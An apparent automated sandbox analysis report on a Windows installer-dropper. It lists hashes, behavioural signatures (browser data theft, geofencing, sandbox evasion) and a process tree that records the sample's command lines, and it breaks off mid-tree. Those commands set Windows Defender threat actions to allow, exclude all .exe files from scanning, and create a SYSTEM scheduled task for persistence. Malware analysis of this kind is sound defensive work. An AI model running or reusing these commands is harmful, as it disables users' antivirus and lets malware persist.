Analysis

  • max time kernel
    93s
  • max time network
    101s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-06-2024 07:01

General

  • Target

    f602d62b0d092ed0f4bc8904879574e7692a1299d2d06643c1caf8c975409a70.exe

  • Size

    7.3MB

  • MD5

    83ab65e8394b71b0c2e3572cafcf65ff

  • SHA1

    2d19be95abcb1671ef04a94be6d8e323233a4c46

  • SHA256

    f602d62b0d092ed0f4bc8904879574e7692a1299d2d06643c1caf8c975409a70

  • SHA512

    1d9def8e34416b8c97ceb081a2b077975527b135a80f0fc35a5841ff3e77b985a4362ece1dde3982be04fdf9bc7c2b978a29591ff536f640d6340e918083d320

  • SSDEEP

    196608:91O0oHobW7/7VIUshVjifeR4yNwrGTvLqi5uFHUOS:3O5HoUTVShAOnyrGTDJ5uFDS

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f602d62b0d092ed0f4bc8904879574e7692a1299d2d06643c1caf8c975409a70.exe
    "C:\Users\Admin\AppData\Local\Temp\f602d62b0d092ed0f4bc8904879574e7692a1299d2d06643c1caf8c975409a70.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3188
    • C:\Users\Admin\AppData\Local\Temp\7zS3875.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2924
      • C:\Users\Admin\AppData\Local\Temp\7zS3AB7.tmp\Install.exe
        .\Install.exe /IwVludidZTK "385120" /S
        3⤵
        • Checks BIOS information in registry
        • Checks computer location settings
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4776
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4884
          • C:\Windows\SysWOW64\forfiles.exe
            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3120
            • C:\Windows\SysWOW64\cmd.exe
              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:4716
              • \??\c:\windows\SysWOW64\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                7⤵
                  PID:4568
            • C:\Windows\SysWOW64\forfiles.exe
              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1276
              • C:\Windows\SysWOW64\cmd.exe
                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1924
                • \??\c:\windows\SysWOW64\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                  7⤵
                    PID:4684
              • C:\Windows\SysWOW64\forfiles.exe
                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1824
                • C:\Windows\SysWOW64\cmd.exe
                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3292
                  • \??\c:\windows\SysWOW64\reg.exe
                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                    7⤵
                      PID:4420
                • C:\Windows\SysWOW64\forfiles.exe
                  forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3636
                  • C:\Windows\SysWOW64\cmd.exe
                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4756
                    • \??\c:\windows\SysWOW64\reg.exe
                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                      7⤵
                        PID:2656
                  • C:\Windows\SysWOW64\forfiles.exe
                    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4564
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                      6⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4464
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                        7⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:644
                        • C:\Windows\SysWOW64\gpupdate.exe
                          "C:\Windows\system32\gpupdate.exe" /force
                          8⤵
                            PID:3068
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1204
                    • C:\Windows\SysWOW64\cmd.exe
                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2140
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                        6⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4168
                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          7⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4988
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "btZaCbGShXZoJDfvCg" /SC once /ST 07:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS3AB7.tmp\Install.exe\" PP /MomdidNhKr 385120 /S" /V1 /F
                    4⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:3940
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn btZaCbGShXZoJDfvCg"
                    4⤵
                      PID:3180
                      • C:\Windows\SysWOW64\cmd.exe
                        /C schtasks /run /I /tn btZaCbGShXZoJDfvCg
                        5⤵
                          PID:1144
                          • \??\c:\windows\SysWOW64\schtasks.exe
                            schtasks /run /I /tn btZaCbGShXZoJDfvCg
                            6⤵
                              PID:1264
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1036
                          4⤵
                          • Program crash
                          PID:3260
                  • C:\Users\Admin\AppData\Local\Temp\7zS3AB7.tmp\Install.exe
                    C:\Users\Admin\AppData\Local\Temp\7zS3AB7.tmp\Install.exe PP /MomdidNhKr 385120 /S
                    1⤵
                    • Executes dropped EXE
                    • Drops desktop.ini file(s)
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:4876
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                      2⤵
                        PID:3652
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          3⤵
                            PID:4232
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              4⤵
                                PID:1720
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  5⤵
                                    PID:2568
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                3⤵
                                  PID:228
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    4⤵
                                      PID:4220
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                        5⤵
                                          PID:2356
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                      3⤵
                                        PID:400
                                        • C:\Windows\SysWOW64\cmd.exe
                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                          4⤵
                                            PID:3996
                                            • \??\c:\windows\SysWOW64\reg.exe
                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                              5⤵
                                                PID:5008
                                          • C:\Windows\SysWOW64\forfiles.exe
                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                            3⤵
                                              PID:2364
                                              • C:\Windows\SysWOW64\cmd.exe
                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                4⤵
                                                  PID:3128
                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                    5⤵
                                                      PID:2920
                                                • C:\Windows\SysWOW64\forfiles.exe
                                                  forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                  3⤵
                                                    PID:836
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                      4⤵
                                                        PID:4576
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                          5⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Modifies data under HKEY_USERS
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:4288
                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                            6⤵
                                                              PID:3012
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                      2⤵
                                                      • Drops file in System32 directory
                                                      • Modifies data under HKEY_USERS
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:212
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:1508
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                            4⤵
                                                              PID:876
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                            3⤵
                                                              PID:4556
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                              3⤵
                                                                PID:1608
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                3⤵
                                                                  PID:1520
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                  3⤵
                                                                    PID:3832
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                    3⤵
                                                                      PID:3396
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                      3⤵
                                                                        PID:1632
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                        3⤵
                                                                          PID:3420
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                          3⤵
                                                                            PID:2240
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                            3⤵
                                                                              PID:3456
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                              3⤵
                                                                                PID:1500
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                3⤵
                                                                                  PID:1628
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                  3⤵
                                                                                    PID:2412
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                    3⤵
                                                                                      PID:2296
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                      3⤵
                                                                                        PID:4024
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                        3⤵
                                                                                          PID:1560
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                          3⤵
                                                                                            PID:4444
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                            3⤵
                                                                                              PID:704
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                              3⤵
                                                                                                PID:3940
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                3⤵
                                                                                                  PID:4332
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2684
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                    3⤵
                                                                                                      PID:1668
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3752
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4108
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4304
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                            3⤵
                                                                                                              PID:976
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                              3⤵
                                                                                                                PID:2776
                                                                                                              • C:\Windows\SysWOW64\reg.exe
